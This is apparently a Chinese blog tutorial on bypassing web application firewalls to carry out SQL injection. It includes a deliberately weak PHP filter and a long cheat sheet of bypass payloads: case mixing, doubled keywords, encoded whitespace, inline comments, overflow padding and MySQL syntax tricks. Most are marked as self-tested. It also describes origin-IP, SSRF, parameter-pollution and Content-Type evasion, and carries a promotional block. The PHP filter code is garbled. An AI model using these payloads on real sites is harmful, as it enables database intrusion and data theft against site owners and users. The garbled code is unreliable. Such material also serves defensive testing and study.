白盒绕过、黑盒绕过——绕过waf(一)

246 阅读4分钟

绕过waf分类:

白盒绕过:

针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示:

 1 ........
 2 
 3 $id=$_GET\['id'\];
 4 
 5 $id=blacklist($id);
 6 
 7 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
 8 
 9 $result=mysql_query($sql);
10 
11 $row=mysql\_fetch\_array($result);
12 
13 .........

1 function blacklist(id){ 2  3 id=preg_replace('/or/i',"",id);//过滤or4 5 id);//过滤or 4  5 id=preg_replace('/AND/i',"",id);//过滤AND6 7 return id);//过滤AND 6  7 return id; 8 }


> 策略:
> 
> (1)大小写变形,这里也许无法成功,因为函数使用了正则匹配,/or/i ;因此可以考虑重复,比如使用:OorR,就算过滤了一个or,仍然还剩一个OR
> 
> (2)等价替换,将and——>&& or——>||

黑盒绕过:
=====

> **(一)架构层绕WAF**
> 
> (1)用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,绕过waf就不在话下了。
> 
> (2)在同网段内,页面与页面之间,服务器与服务器之间,通过waf的保护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf
> 
> (3)边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行SQL注入

> **(二)资源限制角度绕WAF**
> 
> 有的时候,由于数据太大,会导致waf无法将所有的数据都检测完,这个时候会忽略掉我们代入的sql注入语句,从而绕过waf,即:使用POST请求,对服务器请求很大资源逃逸sql注入语句。

① 2000多本网络安全系列电子书

② 网络安全标准题库资料

③ 项目源码

④ 网络安全基础入门、Linux、web安全、攻防视频

⑤ 网络安全学习路线 👉戳此免费获取

(三)协议层面绕过WAF

(1)基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型

(2)文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf

(3)参数污染:有的waf仅对部分内容进行过滤,例如:

index.php?id=1&id=2

这样的参数id=1,waf也许仅对前部分的id=1进行检测,而后面的参数并不做处理。这样我们就可以在id=2的后面写入sql注入语句进行sql注入

(四)规则层面绕过

(1)首先使用比较特殊的方法进行绕过:

可以在注入点,测试waf到底拦截的哪一部分的数据,如果是空格,可以尝试:/%!%2f/

如果是对sql的函数进行了过滤,可以尝试:XX() ——> XX/%!%2f/()

(2)以下为常见的规则替换,部分姿势:

以下为总结方式:

(3)大小写

select * from users where id='1' uNioN SeleCt 1,2,3;

(4)替换关键字(关键字重复)

select * from users where id=1 ununionion selselectect 1,2,3;

(5)编码

select * from users where id=1 union**%0Aselect%0A**1,2,3;//自测成功,但%2b不成功select * from users where id=1 %75nion select 1,2,3;//自测成功,继续加油

(6)内联注释

select * from users where id=1 union**//select//**1,2,3;//自测成功,继续加油

(7)等价函数替换

version()——> @@version

**mid :mysql
**从第五位字符串开始截取,直到最后从第三个字符串开始截取,截取三位
substr :oracle、mysql、sqlserver
从第三个字符串开始截取,直到最后

从第二个字符串开始截取,截取五个字符substring :mysql、sqlserver
从第三个字符串开始截取,直到最后

@@datadir ——> datadir()
select * from users where id=1 union select (mid(user(),5,3)),2,3;//自测成功,继续加油

(8)特殊符号

  • # ——>%23(#) --+(注释符) \\\ `(上引号) @

select * from users where id=1 union+select+1,2,3;//自测成功,继续加油

(9)内联注释加!

select * from users where id=1 **/!union/**select 1,2,3;//自测成功,继续加油

(10)缓冲区溢出

select * from users where id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version();//自测成功,继续加油

0xA*1000 指的是0XA后面的 "A" 重复1000次
一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度
这里1000仅供参考,在一些情况下也可以更短

(11)mysql特性绕过

1.= 等于
:= 赋值
@ @+变量名可直接调用

select * from users where id=1 union select @test=user(),2,3;//1
select * from users where id=1 union select **@test:=**user(),2,3;//自测可用,继续加油,root
select * from users where id=1 union select @,2,3;//NULL

(12)黑魔法

{x user} {x mysql.user}

select{x user}from{x mysql.user};//自测成功,继续加油,root